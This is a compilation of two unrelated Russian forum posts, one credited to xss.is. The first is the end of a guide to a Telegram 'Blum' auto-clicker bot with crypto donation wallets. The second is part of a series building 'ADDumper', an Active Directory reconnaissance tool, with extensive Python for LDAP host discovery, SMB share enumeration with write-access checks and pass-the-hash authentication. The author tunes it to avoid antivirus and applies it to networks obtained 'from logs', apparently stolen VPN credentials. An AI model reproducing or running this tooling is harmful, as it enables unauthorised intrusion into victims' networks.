Открыть тг -> открыть чат -> нажать launch blum -> (опционально) нажать continue -> прокрутить вниз(использует ориентир star.png) -> нажать play -> запустить фарм
Поэтому, если последовательность нарушается, в дальнейшем бот сбивается и кликает в другие места.
Main.py
Скрипт фарма который находит зелёные пиксели и жмёт на них, также скрипт
отвечает за автоматическое нажатие кнопки play again (если билеты остались), а
также за переход/закрытые окон телеграма.
Потенциальные ошибки
1.Unicode encode error
Возникает, из-за того что интерпретатор не может распознать символы:
Решение: удалите эти символы в скрипте main.py
2.Бот открывает неверный чат
Решение: правильно поставьте номер чата на счётчике:
3.Курсор кликает в рандомные места:
Причины:
Не распознаёт кнопку
Решение: заново сделайте скриншот нужной кнопки, чтобы понять какой проследите
после какого шага бот сбился.
Также чем больше текста/окон/приложений на экране, тем больше вероятность
того, что бот собьется, поэтому можно закрыть ненужные приложения, уменьшить
окно телеграма.
Отмечен флажок сбора ежедневных наград, но в одних аккаунтах ежедневные
награды собраны, а в остальных нет.
Решение: перед запуском, убедится что во всех запускаемых аккаунтах либо есть
ежедневная награда(отметить флажок), либо нет(убрать флажок).
Распознает кнопку, но промазывает
Проблема возможно в разрешении вашего компьютера/ноутбука, либо в работе самой
библиотеки.
Решение: в скрипте button_searcher.py есть функция, отвечающая за поиск и
нажатие кнопок.
В ней есть 2 дополнительных необязательных аргумента аргумента сдвига курсора,
от изначально найденной позиции. offset – сдвиг влево/вправо. offset –
вверх/вниз.
Поэтому если бот кликает примерно так:
Это значит что курсор надо было сместить примерно на 50 пикселей вправо и 40
пикселей вниз. Находим в коде строку, которая отвечает за нажатие кнопки Play,
и добавляем два аргумента функции:
Теперь курсор будет кликать на 50 пикселей правей и на 40 ниже
4. Если бот неправильно нажал один раз, то дальше он продолжит также, поэтому нужно перезапустить бота, исправить ошибки и запустить заново.
Всем спасибо за прочтения моей статьи , строго не судите . Старался задеть все важные моменты ,если возникнут вопросы то я с радостью помогу в тг @q2esmm.
А так же если хотите отблагодарить молодого кодера то снизу кош
BTC - bc1qj3r8znsscg2ywjq8kzqxegmzel2uxkd9vnz2f3
ETH - 0xf651a3889d80b6946bF54eF118F6FE554bFC41af
USDT - 0xf651a3889d80b6946bF54eF118F6FE554bFC41af
Если есть какие то идеи которые я смогу реализовать то буду рад выслушать .
Автор Snow
Источник https://xss.is
В этой части у нас:
• Проверяем архитектуру на прочность – попытка впихнуть невпихуемое –
прикручиваем модуль сбора сетевых ресурсов.
• Вспомогательные утилиты – рассмотрим логгер, обработку аргументов
командной строки, дополнительные инструменты, скрывающие функционал под
капотом и позволяющие писать
красивый и расширяемый код. (Оставил только парсер аргументов, т.к. остальное
достаточно примитивно реализовано и мне стыдно это показывать людям)
• А что будет если ... Размышляем на тему возможности расширения продукта
для сбора информации не только при прямом подключении.
• Повторная проверка архитектуры на прочность. Прикручиваем модуль для
массовой обработки сетей.
•Кирпич, кирпич, еще кирпич – а оно не работает. Или как я боролся с
превращением VPS в кирпич после первого подключения к VPN.
• Опять про архитектуру. Продолжаем проектировать модуль взаимодействия с
VPN.
• Красивый видос с результатами работы.
Поехали.
1 ShareEnumerator
В прошлый раз мы спроектировали модуль сбора дампов. Сейчас нам необходимо
сюда же добавить сбор информации об общих сетевых ресурсах. Естественно, что
обзовем мы его не иначе как ShareEnumerator.
Опять начинаем рассуждать вслух.
Для начала необходимо понять что мы хотим. Затем подумать над тем как это
реализовать с учетом уже имеющейся архитектуры. Какие инструменты мы будем для
этого использовать.
1.1 Учите матчасть товарищи.
Как и в случае с предыдущей задачей было бы наивно полагать, что я первый, кому это понадобилось. Поэтому начинаем гуглить. На гитхабе различных Shareenumerator’ов пруд пруди. Нам они, по большей части, не интересны. У нас своя коза на лисапеде. Но вот подглядеть инструменты которыми пользовались их авторы – совсем не грех.
После изучения нескольких проектов становится понятно, что задачу можно разбить на две подзадачи:
• Собрать список компьютеров в сети.
• Опросить каждый найденный компьютер по протоколу SMB на предмет наличия шар.
Смотрим внимательно на пункт 1 и понимаем, что эта часть у нас есть
замечательный LDAPDataCollector, который умеет очень многое. В том числе и
получать список хостов. На данном этапе задачу можно
считать решенной, останется только подумать как это потом аккуратно вставить в
код, чтобы ничего не сломать.
Внимательно смотрим на второй пункт. Вроде бы ничего сложного. Осталось только
понять что это за самба такая и с чем ее едят. Открываем вики и видим
следующее: SMB (сокр. от англ. Server Message Block) — сетевой
протокол прикладного уровня для удалённого доступа к файлам, принтерам и
другим сетевым ресурсам, а также для межпроцессного взаимодействия.
Тут же описан принцип его работы:
SMB — это протокол, основанный на технологии клиент-сервер, который
предоставляет клиентским приложениям простой способ для чтения и записи
файлов, а также запроса служб у серверных программ в различных типах сетевого
окружения. Серверы предоставляют файловые системы и другие ресурсы (принтеры,
почтовые сегменты, именованные каналы и т. д.) для общего доступа в сети.
Клиентские компьютеры могут иметь у себя свои носители информации,
но также имеют доступ к ресурсам, предоставленным сервером для общего
пользования.
Возникает извечный вопрос: «Что делать?». У нас опять есть два пути. Писать
свою реализацию взаимодействия с самбой – задача прикольная и сложная. Оно
конечно хорошо, но перед тем, как сделать что-либо я всегда задаю себе другой
вопрос: «а нахрена?». Если внятного ответа не удалось получить, то значит оно
мне и не надо особо. Ладно, это всё лирика. Делать то что? Опять лезем в гугл.
Точнее на гитхаб. И там находим вот такую штуку
https://github.com/ShawnDEvans/smbmap.
Вроде бы она даже умеет делать то, что нам нужно. Пытаемся понять. После этой строчки:
Python:Copy to clipboard
if not args.file_content_search:
if not args.dlPath and not args.upload and not args.delFile and not args.list_drives and not args.command and not args.version and not args.signing:
Мой мозг сломался. Ушел в ребут. А там почти 2к строк кода. По возвращении в реальность я внимательно посмотрел в раздел импорта. И обнаружил что ребята активно используют impacket. Как известно, люди делятся на 3 основных категории:
• умные – учатся на чужих ошибках, у них всегда хорошо. В эту категорию
очень сложно попасть
минуя остальные. Но это, опять же, к теме не относится.
• дураки – учатся на своих ошибках. Есть даже гипотеза что опытный дурак
может стать умным
• долбо*бы – эти вообще не обучаемые.
1.2 Проектируем модуль сбора шар
Поскольку список компутеров мы уже умеем получать, то логично его передать в
конфиг нашего будущего продукта. Под продуктом, в данном контексте, мы
понимаем наследник класса AbstractProduct,
который мы спроектировали в первой части. Это с одной стороны. А с другой - «а
нахрена?». Попробуем разобраться с теми параметрами, которые мы должны
получить для получения списка
доступных сетевых ресурсов.
Поехали. У нас получится два блока параметров.
1. Параметры LDAPDataCollector
• domain name;
• domain controller address;
• username;
• password;
• флаг для подключения через SSL. По умолчанию установим его в False и пока
что забудем
о нем.
2. Параметры для шар.
Давайте опять рассуждать вслух. Что нам может понадобиться и нужно ли оно нам
здесь и сейчас? Предполагаем, что полный путь (имя шары мы уже получили).
• Проверка прав на чтение и запись. Причем каждую проверку мы будем
выполнять отдельно. Поэтому автоматически у нас появляется два флага:
is_check_read_access_enabled
и is_check_write_access_enabled
• количество потоков – если компутеров в сети много, то очень желательно
работать в несколько потоков. Но если там сидит какой-то злой авер, то надо
постараться не разбудить его. И контроль данного параметра нам в этом немножко
поможет.
• таймаут – причина та же, что и пунктом выше. Устанавливаем желаемый
временной интервал между запросами.
• формат файла сохранения результатов – полученные результаты надо куда-то
сохранять. Как я буду это делать – пока не знаю, но точно знаю что результаты
должны быть пригодны или для последующей машинной обработки, или же
представлены в удобочитаемом виде. То есть в итоге у нас будет минимум 3
выходных формата: csv и json – для последующей машинной обработки, а также
xlsx – если мы захотим посмотреть результаты глазками.
Итого у нас получилось два не пересекающихся набора параметров.
И куда же тут, спрашивается, пристроить список компутеров, если мы его
получаем в процессе работы, а не передаем из файла? Правильный ответ – нечего
ему в конфиге делать. У нас есть набор параметров, позволяющий его получить.
Этого более чем достаточно. Но тут вот какая штука. При изучении документации
класса
SmbConnection выяснилось, что авторизоваться мы можем двумя способами:
1. используя логин и пароль – вот вам и ответ на часть вопроса;
2. через Kerberos – этот случай я рассматривать здесь не буду, но в проекте
он реализован;
Для авторизации через кербу придется тянуть еще параметры. Итак, конфиг для модуля сбора шар у нас будет следующий:
Python:Copy to clipboard
class ShareEnumConfig(AppConfig):
def __init__(self, is_ignore_hidden_shares_enabled: bool
, is_check_read_access_enabled: bool
, is_check_write_access_enabled: bool
, thread_count: int
, force_no_dns: bool
, timeout: int
, outfile_type: str
, unique_path_length: int
, comment_length: int
, is_need_use_kerberos: bool
, aes_key: str
, no_pass: bool
, auth_hashes: str
, dc_ip: str
, username: str
, password: str
, domain_name: str):
super().__init__()
self.domain_name = domain_name
self.is_ignore_hidden_shares_enabled = is_ignore_hidden_shares_enabled
self.is_check_read_access_enabled = is_check_read_access_enabled
self.is_check_write_access_enabled = is_check_write_access_enabled
self.thread_count = thread_count
self.force_no_dns = force_no_dns
self.timeout = timeout
self.outfile_type = outfile_type
self.outfile = ''
self.unique_path_length = unique_path_length
self.comment_length = comment_length
self.is_need_use_kerberos = is_need_use_kerberos
self.no_pass = no_pass
self.auth_hashes = auth_hashes
self.aes_key = aes_key
self.dc_ip = dc_ip
self.username = username
self.password = password
1.2.1 ShareFinder. Шары есть? А если найду?
Как уже говорилось ранее, собирать шары мы будем используя протокол SMB. Опять
задаемся вопросом: «Что необходимо для решения задачи?» и пробуем на него
ответить. Очевидно, что нам
понадобится:
1. установить подключение к серверу;
2. авторизоваться;
3. выполнить запрос;
4. сохранить результаты для последующей обработки;
5. отключиться.
Еще надо бы не забыть про многопоточность и таймауты.
Поехали.
Объявим новый класс и обзовем его ShareFinder. Ему в конструктор мы передадим
наш конфиг. Там же, в конструкторе, объявим поле domain_computers в виде
списка. Его мы заполним снаружи, когда отработает коллектор.
Еще нам понадобится некая структура данных, для сохранения результатов.
Очевидно, что это у нас будет словарь, ключом которого будет имя компутера, а
значением – список принадлежащих ему шар.
Получится примерно следующее:
Python:Copy to clipboard
class ShareFinder:
def __init__(self, config: ShareEnumConfig):
self.config = config
self.result = defaultdict(list)
self.domain_computers = list()
Теперь про многопоточность. Воспользуемся стандартным пулом потоков. Вот что говорит его документация.
Python:Copy to clipboard
concurrent. futures. thread. ThreadPoolExecutor
def __init__(self,
max_workers: int | None = None,
thread_name_prefix: str = "",
initializer: (...) -> object | None = None,
initargs: tuple[Any, ...] = ()) -> None
Initializes a new ThreadPoolExecutor instance. Args: max_workers: The maximum number of threads that can be used to execute the given calls. thread_name_prefix: An optional name prefix to give our threads. initializer: A callable used to initialize worker threads. initargs: A tuple of arguments to pass to the initializer.
То есть именно сюда мы передадим количество потоков. А что собственно мы будем
делать в потоках. Правильно – опрашивать каждый компутер на предмет шар и
записывать результаты в общую коллекцию результатов. Не забыв, конечно, при
этом про то, что мы работаем с общим ресурсом, а значит каждый поток должен
уметь блокировать ресурс на запись.
Для реализации этого функционала нам понадобится метод, назовем его worker.
который мы скормим нашему пулу.
В итоге получилось примерно следующее.
Python:Copy to clipboard
def run(self):
auth_lm_hash = ""
auth_nt_hash = ""
if self.config.auth_hashes is not None:
if ":" in self.config.auth_hashes:
auth_lm_hash = self.config.auth_hashes.split(":")[0]
auth_nt_hash = self.config.auth_hashes.split(":")[1]
else:
auth_nt_hash = self.config.auth_hashes
results = {}
# Setup thread lock to properly write in the file
lock = threading.Lock()
with ThreadPoolExecutor(max_workers=min(self.config.thread_count, len(self.domain_computers))) as tp:
for computer in self.domain_computers:
tp.submit(self.worker, computer, self.config.domain_name, self.config.username,
self.config.password, computer, auth_lm_hash, auth_nt_hash, self.result, lock)
time.sleep(self.config.timeout)
Как видите, таймауту тоже нашлось применение.
Теперь рассмотрим сам метод worker. Он достаточно простой, поэтому просто
приведу его код.
Python:Copy to clipboard
def worker(self, target_name, domain, username, password, address, lmhash, nthash, results, lock):
if self.config.force_no_dns:
target = target_name
else:
target_ip = nslookup.Nslookup(dns_servers=[self.config.dc_ip], verbose=True).dns_lookup(target_name).answer
if len(target_ip) != 0:
target = target_ip[0]
else:
return
try:
smb_client = self.init_smb_session(target, domain, username, password, address, lmhash, nthash)
resp = smb_client.listShares()
for share in resp:
# SHARE_INFO_1 structure (lmshare.h)
# https://docs.microsoft.com/en-us/windows/win32/api/lmshare/ns-lmshare-share_info_1
share_name = share['shi1_netname'][:-1]
share_comment = share['shi1_remark'][:-1]
share_type = share['shi1_type']
share_path = "\\".join(['', '', target, share_name])
unique_path = "\\".join(['', '', target, share_name, ''])
permission = []
self.__check_share_read_access(permission, share_path)
self.__check_share_write_access(permission, share_path)
try:
lock.acquire()
if target_name not in results.keys():
results[target_name] = []
results[target_name].append(
{
"share": share_name,
"computer": target_name,
"hidden": (True if share_name.endswith('$') else False),
"uncpath": unique_path,
"comment": share_comment,
"permission": ', '.join(permission),
"type": {
"stype_value": share_type,
"stype_flags": self.STYPE_MASK(share_type)
}
}
)
self.__print_share_info(address, share_comment, share_name)
finally:
lock.release()
self.result = results
except Exception as e:
print(e)
На этом реализацию можно считать законченной.
**1.3 Конфигурация строителя и сборка продукта.
1.3.1 ShareEnumModeConfigurator.**
Нам осталось указать строителю параметры сохранения результата. Здесь будет
минимум кода.
Python:Copy to clipboard
class ShareEnumModeConfigurator(AppConfigurator):
def __init__(self, share_enum_config: ShareEnumConfig, domain_name: str, out_dir: str = 'evil-corp'):
super().__init__(domain_name, 'shares', out_dir)
self.config = share_enum_config
def setup(self):
self.create_out_dirs()
out_type = self.config.outfile_type
if out_type == 'txt':
outfile = 'shares.txt'
elif out_type == 'json':
outfile = 'shares.json'
elif out_type == 'yaml':
outfile = 'shares.yaml'
elif out_type == 'csv':
outfile = 'shares.csv'
elif out_type == 'xlsx':
outfile = 'shares.xlsx'
else:
DumpLogger.print_warning(
f'An unsupported output file format is specified. The default value ("*.csv") will be used')
outfile = 'shares.csv'
self.config.out_filename = os.path.join(self._current_mode_out_dir, outfile)
def create_out_dirs(self):
super().create_out_dirs()
1.3.2 ShareEnumBuilder.
Мы строили, строили и наконец построили.
Здесь тоже ничего сложного. Мы сначала попросим LdapDataCollector собрать список компутеров в сети. Затем обратимся к ShareFinder’у с просьбой собрать шары. А результат запишем в продукт, который сам уже знает как у куда его сохранить. На всё нам понадобится всего 20 строк. Магия, однако.
Python:Copy to clipboard
class ShareEnumBuilder(AbstractBuilder):
def __init__(self, app_config: ShareEnumConfig, data_collector: LdapDataCollector):
super().__init__(data_collector)
self.app_config = app_config
def build_product(self) -> AbstractProduct | None:
DumpLogger.print_title('SHARE ENUMERATOR: build product')
try:
self.data_collector.get_domain_computers_full_info()
domain_computers = self.data_collector.domain_computers
share_finder = ShareFinder(self.app_config)
share_finder.domain_computers = domain_computers
share_finder.run()
share_enumerator = ShareEnumerator()
share_enumerator.results = share_finder.result
self.is_build_completed = True
return share_enumerator
except Exception as err:
self.error_message = f'share enumeration failed with error {err}'
self.setup_incomplete_product(err, self.error_message)
return None
В завершение рассмотрим метод save продукта ShareEnumerator. Ему на вход прилетает результат в следующем формате:
JSON:Copy to clipboard
results = [
{'share': 'ADMIN$'
, 'computer': 'DELL5490-AIO.HQ.EVIL.CORP.COM'
, 'hidden': True
, 'uncpath': '\\\\DELL5490-AIO.HQ.EVIL.CORP.COM\\ADMIN$\\'
, 'comment': 'Remote Admin'
, 'permission': ''
, 'type': {'stype_value': 2147483648, 'stype_flags': ['STYPE_DISKTREE', 'STYPE_TEMPORARY']}},
{'share': 'C$', 'computer': 'DELL5490-AIO.HQ.EVIL.CORP.COM', 'hidden': True,
'uncpath': '\\\\DELL5490-AIO.HQ.EVIL.CORP.COM\\C$\\', 'comment': 'Default share', 'permission': 'r,w',
'type': {'stype_value': 2147483648, 'stype_flags': ['STYPE_DISKTREE', 'STYPE_TEMPORARY']}},
{'share': 'ADMIN$', 'computer': 'DELLACHAT-UFF.HQ.EVIL.CORP.COM', 'hidden': True,
'uncpath': '\\\\DELLACHAT-UFF.HQ.EVIL.CORP.COM\\ADMIN$\\', 'comment': 'Remote Admin', 'permission': 'r',
'type': {'stype_value': 2147483648, 'stype_flags': ['STYPE_DISKTREE', 'STYPE_TEMPORARY']}},
{'share': 'C$', 'computer': 'DELLACHAT-UFF.HQ.EVIL.CORP.COM', 'hidden': True,
'uncpath': '\\\\DELLACHAT-UFF.HQ.EVIL.CORP.COM\\C$\\', 'comment': 'Default share', 'permission': 'r',
'type': {'stype_value': 2147483648, 'stype_flags': ['STYPE_DISKTREE', 'STYPE_TEMPORARY']}},
{'share': 'ADMIN$', 'computer': 'DELLFRANK-AIO.HQ.EVIL.CORP.COM', 'hidden': True,
'uncpath': '\\\\DELLFRANK-AIO.HQ.EVIL.CORP.COM\\ADMIN$\\', 'comment': 'Remote Admin', 'permission': 'r',
'type': {'stype_value': 2147483648, 'stype_flags': ['STYPE_DISKTREE', 'STYPE_TEMPORARY']}},
{'share': 'IPC$', 'computer': 'DELLFRANK-AIO.HQ.EVIL.CORP.COM', 'hidden': True,
'uncpath': '\\\\DELLFRANK-AIO.HQ.EVIL.CORP.COM\\IPC$\\', 'comment': 'Remote IPC', 'permission': 'r',
'type': {'stype_value': 2147483651, 'stype_flags': ['STYPE_IPC', 'STYPE_TEMPORARY']}},
]
Здесь мы тоже уложились в 15 строк. Опять магия? Нет. Всего лишь грамотно спроектированная архитектура.
Python:Copy to clipboard
def save(self, app_config: ShareEnumConfig):
out_type = app_config.outfile_type
filename = app_config.out_filename
if out_type == 'txt':
FileHelper.save_results_to_txt(self.results, filename)
elif out_type == 'json':
FileHelper.save_results_to_json(self.results, filename)
elif out_type == 'yaml':
FileHelper.save_results_to_yaml(self.results, filename)
elif out_type == 'csv':
FileHelper.save_share_enumeration_results_to_csv(self.results, filename)
elif out_type == 'xlsx':
FileHelper.save_results_to_xlsx(self.results, filename)
else:
DumpLogger.print_warning('An unsupported output file format is specified. The default value will be used')
1.3. Выводы.
Модуль перечисления общих сетевых ресурсов внешне не похож на дампы, описанные
в предыдущей статье. Тем не менее нам удалось без особых проблем встроить его
в имеющуюся архитектуру.
Это означает, что подход был выбран верный. Архитектура может и не идеальная,
но достаточно устойчивая. Нам удалось разделить реализацию и бизнес-правила.
На этом мы не заканчиваем.
После рассмотрения реализации вспомогательных утилит мы попробуем расширить
продукт и использовать его для массового сканирования сетей.
**2 ArgumenParser. Метод определенного интеграла в действии.
Метод определенного интеграла** – любую сложную задачу необходимо разбить на конечное множество простых подзадач, каждая из которых имеет константное время выполнения. Еще его называют «разделяй и властвуй» или декомпозиция. Попробуем и здесь его применить.
Как я уже говорил в первой части, реализация разбора аргументов командной строки во многих опенсорсных проектах оставляет желать лучшего. Пример я выше приводил. Такой хоккей нам не нужен. Поэтому будем делать всё по науке.
Поехали.
2.1 Наброски архитектуры.
Для начала вспомним что у нас есть несколько режимов работы, каждый из которых
просит свой набор параметров. Для дампов эти параметры будут одни и те же, за
исключением типа самого дампа. Для сбора шар у нас добавятся дополнительные
параметры, о чем я писал выше. Всю эту кашу необходимо каким-то образом
расхлебать, не нарушив основной архитектуры. Но об этом чуть позже. А пока
зададим себе следующий вопрос. С чего начинается любая программа? Правильно.
Со справки или мануала. Очень важно чтобы обычный пользователь, впервые
использующий наш
продукт и набравший в консоли
Bash:Copy to clipboard
program.exe --help
Получил максимально четкое и подробное описание всех режимов работы приложения, а не просто красивую ASCII картинку, которую так любят все опенсорсники. Поэтому наш модуль должен уметь делать красивую справку.
Что еще? По хорошему это должен быть инструмент, работающий по принципу: «Один раз настроил и забыл». Следовательно он должен иметь некий инструмент настройки. Хмм... А у нас ведь уже есть конфигуратор. А что если ... Мысль вроде дельная, но об этом чуть позже.
Еще нам нужно чтобы под капотом можно было задавать произвольные наборы параметров и группировать их по некоему общему признаку. То есть у нас будет, как минимум, группы параметров для дампов и шар. Но что нам взбредет в голову завтра – большой секрет. Значит мы должны и здесь заложить возможность расширения.
Идем дальше. Хорошо, параметры мы распарсили. Что с ними делать? Вернуть. А что возвращать? Безразмерный кортеж? Стоп. У нас же для каждого режима есть конфиги. Почему бы не возвращать их. В этом уже просматривается некий смысл. То есть мы разобрали параметры, сформировали конфиг и тут же проверили его валидность. Если нам сунули фуфло, то мы об этом сразу и заявляем, а не передаем это дальше. Отсюда просится еще и корректная обработка ошибок. Ладно, достаточно слов. Начнем пожалуй.
2.2 Разбор аргументов командной строки.
У питона, при всей моей не любви к нему, есть одно преимущество. Огромное количество пакетов, причем многие из них очень качественные. То есть их можно взять и использовать из коробки. Что мы и сделаем. В основу нашего парсера аргументов положим стандартный питоновский парсер. Кому интересно – читайте документацию. Я же здесь расскажу о том, как я в очередной раз впихнул внешне не впихуемое. А именно – встроил парсер в архитектуру, таким образом, что прогнав его через конфигуратор мы получили готовый к использованию продукт.
2.2.1 Настраиваем стандартный питоновский парсер под наши нужды
Очевидно, что у нас будет две группы параметров – обязательные: всё, что
относится к LDAP и опциональные – дополнительные параметры, например, того же
ShareEnumerator’a. Итак, объявим класс ArgsParserConfigurator, производный от
AppConfigurator. У него будет ровно одно собственное поле. Это объект класса
argsparse.ArgumentParser. Его мы и будем настраивать.
Конструктор у нас будет такой:
Python:Copy to clipboard
class ArgsParserConfigurator(AppConfigurator):
def __init__(self, domain_name: str = 'evil-corp.com', out_dir: str = 'evil-corp'):
super().__init__(domain_name, 'args parser', out_dir)
self.parser = argparse.ArgumentParser(
description='A pentest tool for obtaining a variety of information about the network AD with LDAP',
usage='%(prog)s '
f' Collects the following information'
'about users and computers on the network:\n'
f'{DumpLogger.highlight_green("MINIDUMP")} mode:\n'
f'\t--{DumpLogger.highlight_green("Authentication mechanism")};\n'
f'\t--{DumpLogger.highlight_green("List of domain users")};\n'
f'\t--{DumpLogger.highlight_green("List of domain admins")};\n'
f'\t--{DumpLogger.highlight_green("List of enterprise admins")};\n'
f'\t--{DumpLogger.highlight_green("List of domain controllers")};\n'
f'\t--{DumpLogger.highlight_green("List of domain trusts")};\n'
f'\t--{DumpLogger.highlight_green("List of servers")}, including the host name,'
' name and version of the operating system for each server;\n'
f'\t--{DumpLogger.highlight_green("List of users PC")}, including the host name,'
' name and version of the operating system for each computer;\n'
f'\t--{DumpLogger.highlight_green("OS statistic:")} '
f'a list of computers for each operating system version;\n'
'********************************************************************************************\n'
f'{DumpLogger.highlight_green("FULLDUMP")} mode:'
f' repeating a functional of MINIDUMP mode with additional information:\n'
f'\t--{DumpLogger.highlight_green("List of domain groups")}\n'
f'\t--{DumpLogger.highlight_green("List of domain organization")} units\n'
f'\t--{DumpLogger.highlight_green("List of domain subnets")}\n'
'********************************************************************************************\n'
f'{DumpLogger.highlight_green("SHARES")}:'
f' collect information about network shared resources'
'and save the results in the specified format.\n'
f'See {DumpLogger.highlight_green("SHARES")} mode help for more information\n'
'********************************************************************************************\n'
f'{DumpLogger.highlight_green("FASTDUMP")}: collects count of users, '
f'count of computers and list of groups of which the user is a member '
)
self.parser.version = 'ADDumper version: 0.3.0-beta'
Теперь переопределим метод базового класса setup и посмотрим на часть его реализации. Она предельно проста.
Python:Copy to clipboard
def setup(self):
self.__setup_required_params()
self.__setup_optionals_params()
На примере метода __setup_required_params() рассмотрим настройку обязательных параметров.
Python:Copy to clipboard
def __setup_required_params(self):
required_params = self.parser.add_argument_group(f'{DumpLogger.highlight_blue("required arguments")}')
required_params.add_argument( '-m', '--mode', dest='mode', type=str, required=True,
help=f'the current version supports the following operating modes: '
f'{DumpLogger.highlight_green("MINIDUMP, FULLDUMP, KERB, SHARES, FASTDUMP")}.'
)
ldap_params = self.parser.add_argument_group(DumpLogger.highlight_blue('LDAP params'))
ldap_params.description = f'{DumpLogger.highlight_warning("LDAP connection params. Required.")}'
ldap_params.add_argument( '-d', '--domain', dest='domain', type=str
, help='The name of domain (e.g. "test.local"). '
f'{DumpLogger.highlight_dark_blue("If the value is not set, it will be determined automatically")}',
required=True
)
ldap_params.add_argument( '-u', '--username', metavar='username', dest='username', type=str
, help=f'The user name, required parameter for the LDAP connection', required=True)
ldap_params.add_argument('-p', '--password', metavar='password', dest='password', type=str
, help='The user password required parameter '
, required=True
)
ldap_params.add_argument( '-ip', metavar='[ip-address]', dest='ip_address', type=str, required=True,
help='The IP address of the server (e.g. "192.168.13.169"). '
f'{DumpLogger.highlight_dark_blue("If the value is not set, it will be determined automatically")}',
default=None
)
Что мы собственно говоря сделали. Вынесли обязательные аргументы в отдельную группу. Для каждого параметра указали тип, описание, имя флага, добавили справку. Аналогичную работу нужно провести для опциональных параметров. По сути в качестве готового продукта мы взяли стандартный парсер и настроили его в конфигураторе. Конфигуратор мы тоже будем создавать с помощью фабрики. Для этого добавим в нее еще один метод.
Python:Copy to clipboard
class ConfiguratorsFactory:
@staticmethod
def create_args_parser_configurator(out_dir: str = 'evil-corp') -> ArgsParserConfigurator:
return ArgsParserConfigurator(out_dir=out_dir)
Возможно не самое удачное архитектурное решение, но давайте посмотрим как оно
впишется в
общую картину.
2.2.2 Добываем конфиги
После настройки парсера мы уже почти готовы к работе. Осталось только добавить немного магии и получить из аргументов конфиги. Чем мы собственно и займемся. Чтобы вся порнография настройки парсера не торчала наружу мы ее прикроем чутка. И поместим уже настроенный парсер в класс который так и назовем ConfigMiner. А на вход его конструктора передадим наш уже настроенный парсер.
Python:Copy to clipboard
class ConfigMiner:
def __init__(self, parser: argparse.ArgumentParser):
self.base_dn = ''
self.args = None
self.domain_name: str = ''
self.out_dir: str = ''
self.program_mode = ProgramMode.UNKNOWN
self.parser = parser
self.ldap_config = None
self.kerb_config = None
self.fulldump_config = None
self.minidump_config = None
self.share_enumerator_config = None
self.fastdump_config = None
Этот класс должен уметь делать ровно две вещи:
1. дать команду парсеру на разбор;
2. собрать из полученных параметров нужный конфиг и быть готовым вернуть его
по первому
запросу.
Собственно всё. Ниже я привел его код и пример его использования. Думаю на этом достаточно про парсер. Конструктор:
Python:Copy to clipboard
class ConfigMiner:
def __init__(self, parser: argparse.ArgumentParser):
self.base_dn = ''
self.args = None
self.domain_name: str = ''
self.out_dir: str = ''
self.program_mode = ProgramMode.UNKNOWN
self.parser = parser
self.ldap_config = None
self.kerb_config = None
self.fulldump_config = None
self.minidump_config = None
self.share_enumerator_config = None
Метод старт, который запускает последовательно обе перечисленные задачи.
Python:Copy to clipboard
def start(self) -> bool:
try:
args = self.parser.parse_args()
print(args)
except Exception as err:
DumpLogger.print_error_message(err.args)
return False
mode = args.mode
self.out_dir = args.out_dir
if not self.is_valid_program_mode(mode):
DumpLogger.print_error_message('ERROR: unknown program mode')
return False
domain_name = args.domain
self.base_dn = NetworkUtils.get_base_dn(domain_name)
if self.base_dn is None:
DumpLogger.print_error_message(f'invalid domain name:\t {domain_name}')
return False
self.domain_name = domain_name
try:
if not self.is_ldap_config_created(args, self.base_dn):
DumpLogger.print_error_message('can\'t create LDAP config')
return False
if self.program_mode == ProgramMode.MINI_DUMP:
self.make_minidump_config()
if self.program_mode == ProgramMode.FULL_DUMP:
self.make_fulldump_config()
if self.program_mode == ProgramMode.KERB:
self.make_kerb_config(args)
if self.program_mode == ProgramMode.SHARES:
self.make_share_finder_config(args)
if self.program_mode == ProgramMode.FAST_DUMP:
self.make_fastdump_config(args)
except Exception as error:
print(error.args)
return False
return True
И, наконец, пример использования всего этого добра.
Python:Copy to clipboard
def run(self) -> bool:
args_parser_configurator = ConfiguratorsFactory.create_args_parser_configurator()
args_parser_configurator.setup()
parser = args_parser_configurator.parser
miner = ConfigMiner(parser)
try:
if not miner.start():
DumpLogger.print_error_message('invalid arguments, use \'ADDumper --help\' for more information')
return False
except Exception as err:
DumpLogger.print_error('Can\'t create Argument parser', str(err))
return False
self.program_mode = miner.program_mode
self.out_dir = miner.out_dir
ldap_config: LdapConfig = miner.ldap_config
self.ldap_connection = source.core.ldap.ldap_connection.LdapConnection(ldap_config)
ldap_config.print()
if not self.ldap_connection.is_ldap_connection_established():
DumpLogger.print_error_message('failed to establish LDAP connection')
ldap_config.print()
return False
query_executor_config = ConfigFactory.create_ldap_query_executor_config(self.ldap_connection,
miner.base_dn)
query_executor = LdapQueryExecutor(query_executor_config)
data_collector_config = ConfigFactory.create_data_collector_config(query_executor)
data_collector = LdapDataCollector(data_collector_config)
self.domain_name = miner.domain_name
if program_mode == ProgramMode.KERB:
return self.run_kerberos_mode(miner.kerb_config, data_collector)
elif program_mode == ProgramMode.SHARES:
return self.run_share_enumeration(miner.share_enumerator_config, data_collector)
elif program_mode == ProgramMode.FULL_DUMP:
return self.run_fulldump_mode(miner.fulldump_config, data_collector)
elif program_mode == ProgramMode.MINI_DUMP:
return self.run_minidump_mode(miner.minidump_config, data_collector)
elif program_mode == ProgramMode.FAST_DUMP:
return self.run_fastdump_mode(miner.fastdump_config, data_collector)
else:
DumpLogger.print_error('invalid program mode', str(program_mode))
return False
2.3 Выводы.
Не смотря на то, что работа с аргументами командной строки, как вы могли
видеть, – то еще удовольствие, нам удалось относительно безболезненно встроить
ее (обработку аргументов командной строки) не нарушая целостности архитектуры
приложения. Возможно решение и не самое удачное, но оно рабочее и большую
часть времени реализации заняло прописывание справок для каждого параметра,
нежели непосредственно написание кода.
3 Одна сеть хорошо, а много лучше.
Ну вот и получился уже вполне вменяемый продукт, которым можно пользоваться и
людям не стыдно показать. Впска с любым линуксом на борту,proxychains до сети
и побежали.
Для тестов – это однозначно плюс. А если приложить чуть усилий, то можно настроить удаленную отладку и вообще красиво получится.
Однако, что делать, если сетей много и большинство из них – это фортики и циски. Конечно, можно подключаться руками через официальные клиенты. Оно таки да, можно. Если у вас 3-5 сетей в неделю проходит. И вам достоверно известно, они 100% валидные: учетка живая и юзер в домене хотя бы. В противном случае, когда сети идут из логов – у меня рука отвалилась мышкой тыкать через два часа.
Что делать?
Давайте рассуждать вслух. Что мы имеем? У нас есть продукт, который абсолютно
не зависит от метода подключения. То есть мне не важно как осуществлено
подключение. Это хорошо. Теперь посмотрим какие методы подключения возможны.
Рассмотрим два основных:
1. VPN
2. Proxy
